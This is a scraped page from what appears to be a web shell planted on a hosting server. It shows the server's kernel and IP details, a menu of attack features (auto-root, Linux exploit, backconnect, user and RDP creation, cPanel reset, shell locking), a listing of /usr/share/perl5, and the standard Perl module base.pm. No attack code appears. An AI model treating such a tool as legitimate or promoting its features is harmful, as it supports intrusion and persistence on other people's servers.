Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.131.13.24
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Compress
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
LWP
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Perl
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
Version
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.56
KB
-rw-r--r--
AutoLoader.pm
14.66
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.87
KB
-rw-r--r--
CORE.pod
2.7
KB
-rw-r--r--
CPAN.pm
132.91
KB
-rw-r--r--
DB.pm
18.43
KB
-rw-r--r--
DBM_Filter.pm
14.06
KB
-rw-r--r--
DirHandle.pm
1.52
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.34
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
4.45
KB
-rw-r--r--
LWP.pm
21.15
KB
-rw-r--r--
Memoize.pm
34.4
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.19
KB
-rw-r--r--
Safe.pm
24.03
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.97
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.97
KB
-rw-r--r--
URI.pm
33.01
KB
-rw-r--r--
XSLoader.pm
9.99
KB
-rw-r--r--
_charnames.pm
29.8
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.37
KB
-rw-r--r--
bigint.pm
17.44
KB
-rw-r--r--
bignum.pm
18.23
KB
-rw-r--r--
bigrat.pm
14.11
KB
-rw-r--r--
blib.pm
2.04
KB
-rw-r--r--
bytes.pm
2.96
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
charnames.pm
19.22
KB
-rw-r--r--
deprecate.pm
3.01
KB
-rw-r--r--
diagnostics.pm
17.96
KB
-rw-r--r--
dumpvar.pl
14.96
KB
-rw-r--r--
feature.pm
11.06
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
if.pm
1.13
KB
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.13
KB
-rw-r--r--
locale.pm
2.72
KB
-rw-r--r--
lwpcook.pod
9.05
KB
-rw-r--r--
lwptut.pod
24.89
KB
-rw-r--r--
open.pm
7.83
KB
-rw-r--r--
overload.pm
52.66
KB
-rw-r--r--
overloading.pm
1.77
KB
-rw-r--r--
perl5db.pl
302.79
KB
-rw-r--r--
perlfaq.pm
94
B
-rw-r--r--
sigtrap.pm
7.46
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
strict.pm
3.84
KB
-rw-r--r--
subs.pm
845
B
-rw-r--r--
utf8.pm
7.6
KB
-rw-r--r--
utf8_heavy.pl
30.1
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
vmsish.pm
4.22
KB
-rw-r--r--
warnings.pm
18.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : base.pm
package base; use strict 'vars'; use vars qw($VERSION); $VERSION = '2.18'; $VERSION = eval $VERSION; # constant.pm is slow sub SUCCESS () { 1 } sub PUBLIC () { 2**0 } sub PRIVATE () { 2**1 } sub INHERITED () { 2**2 } sub PROTECTED () { 2**3 } my $Fattr = \%fields::attr; sub has_fields { my($base) = shift; my $fglob = ${"$base\::"}{FIELDS}; return( ($fglob && 'GLOB' eq ref($fglob) && *$fglob{HASH}) ? 1 : 0 ); } sub has_attr { my($proto) = shift; my($class) = ref $proto || $proto; return exists $Fattr->{$class}; } sub get_attr { $Fattr->{$_[0]} = [1] unless $Fattr->{$_[0]}; return $Fattr->{$_[0]}; } if ($] < 5.009) { *get_fields = sub { # Shut up a possible typo warning. () = \%{$_[0].'::FIELDS'}; my $f = \%{$_[0].'::FIELDS'}; # should be centralized in fields? perhaps # fields::mk_FIELDS_be_OK. Peh. As long as %{ $package . '::FIELDS' } # is used here anyway, it doesn't matter. bless $f, 'pseudohash' if (ref($f) ne 'pseudohash'); return $f; } } else { *get_fields = sub { # Shut up a possible typo warning. () = \%{$_[0].'::FIELDS'}; return \%{$_[0].'::FIELDS'}; } } sub import { my $class = shift; return SUCCESS unless @_; # List of base classes from which we will inherit %FIELDS. my $fields_base; my $inheritor = caller(0); my @bases; foreach my $base (@_) { if ( $inheritor eq $base ) { warn "Class '$inheritor' tried to inherit from itself\n"; } next if grep $_->isa($base), ($inheritor, @bases); # Following blocks help isolate $SIG{__DIE__} changes { my $sigdie; { local $SIG{__DIE__}; eval "require $base"; # Only ignore "Can't locate" errors from our eval require. # Other fatal errors (syntax etc) must be reported. die if $@ && $@ !~ /^Can't locate .*? at \(eval /; unless (%{"$base\::"}) { require Carp; local $" = " "; Carp::croak(<<ERROR); Base class package "$base" is empty. (Perhaps you need to 'use' the module which defines that package first, or make that module available in \@INC (\@INC contains: @INC). ERROR } $sigdie = $SIG{__DIE__} || undef; } # Make sure a global $SIG{__DIE__} makes it out of the localization. $SIG{__DIE__} = $sigdie if defined $sigdie; } push @bases, $base; if ( has_fields($base) || has_attr($base) ) { # No multiple fields inheritance *suck* if ($fields_base) { require Carp; Carp::croak("Can't multiply inherit fields"); } else { $fields_base = $base; } } } # Save this until the end so it's all or nothing if the above loop croaks. push @{"$inheritor\::ISA"}, @bases; if( defined $fields_base ) { inherit_fields($inheritor, $fields_base); } } sub inherit_fields { my($derived, $base) = @_; return SUCCESS unless $base; my $battr = get_attr($base); my $dattr = get_attr($derived); my $dfields = get_fields($derived); my $bfields = get_fields($base); $dattr->[0] = @$battr; if( keys %$dfields ) { warn <<"END"; $derived is inheriting from $base but already has its own fields! This will cause problems. Be sure you use base BEFORE declaring fields. END } # Iterate through the base's fields adding all the non-private # ones to the derived class. Hang on to the original attribute # (Public, Private, etc...) and add Inherited. # This is all too complicated to do efficiently with add_fields(). while (my($k,$v) = each %$bfields) { my $fno; if ($fno = $dfields->{$k} and $fno != $v) { require Carp; Carp::croak ("Inherited fields can't override existing fields"); } if( $battr->[$v] & PRIVATE ) { $dattr->[$v] = PRIVATE | INHERITED; } else { $dattr->[$v] = INHERITED | $battr->[$v]; $dfields->{$k} = $v; } } foreach my $idx (1..$#{$battr}) { next if defined $dattr->[$idx]; $dattr->[$idx] = $battr->[$idx] & INHERITED; } } 1; __END__ =head1 NAME base - Establish an ISA relationship with base classes at compile time =head1 SYNOPSIS package Baz; use base qw(Foo Bar); =head1 DESCRIPTION Unless you are using the C<fields> pragma, consider this module discouraged in favor of the lighter-weight C<parent>. Allows you to both load one or more modules, while setting up inheritance from those modules at the same time. Roughly similar in effect to package Baz; BEGIN { require Foo; require Bar; push @ISA, qw(Foo Bar); } When C<base> tries to C<require> a module, it will not die if it cannot find the module's file, but will die on any other error. After all this, should your base class be empty, containing no symbols, C<base> will die. This is useful for inheriting from classes in the same file as yourself but where the filename does not match the base module name, like so: # in Bar.pm package Foo; sub exclaim { "I can have such a thing?!" } package Bar; use base "Foo"; There is no F<Foo.pm>, but because C<Foo> defines a symbol (the C<exclaim> subroutine), C<base> will not die when the C<require> fails to load F<Foo.pm>. C<base> will also initialize the fields if one of the base classes has it. Multiple inheritance of fields is B<NOT> supported, if two or more base classes each have inheritable fields the 'base' pragma will croak. See L<fields> for a description of this feature. The base class' C<import> method is B<not> called. =head1 DIAGNOSTICS =over 4 =item Base class package "%s" is empty. base.pm was unable to require the base package, because it was not found in your path. =item Class 'Foo' tried to inherit from itself Attempting to inherit from yourself generates a warning. package Foo; use base 'Foo'; =back =head1 HISTORY This module was introduced with Perl 5.004_04. =head1 CAVEATS Due to the limitations of the implementation, you must use base I<before> you declare any of your own fields. =head1 SEE ALSO L<fields> =cut
Close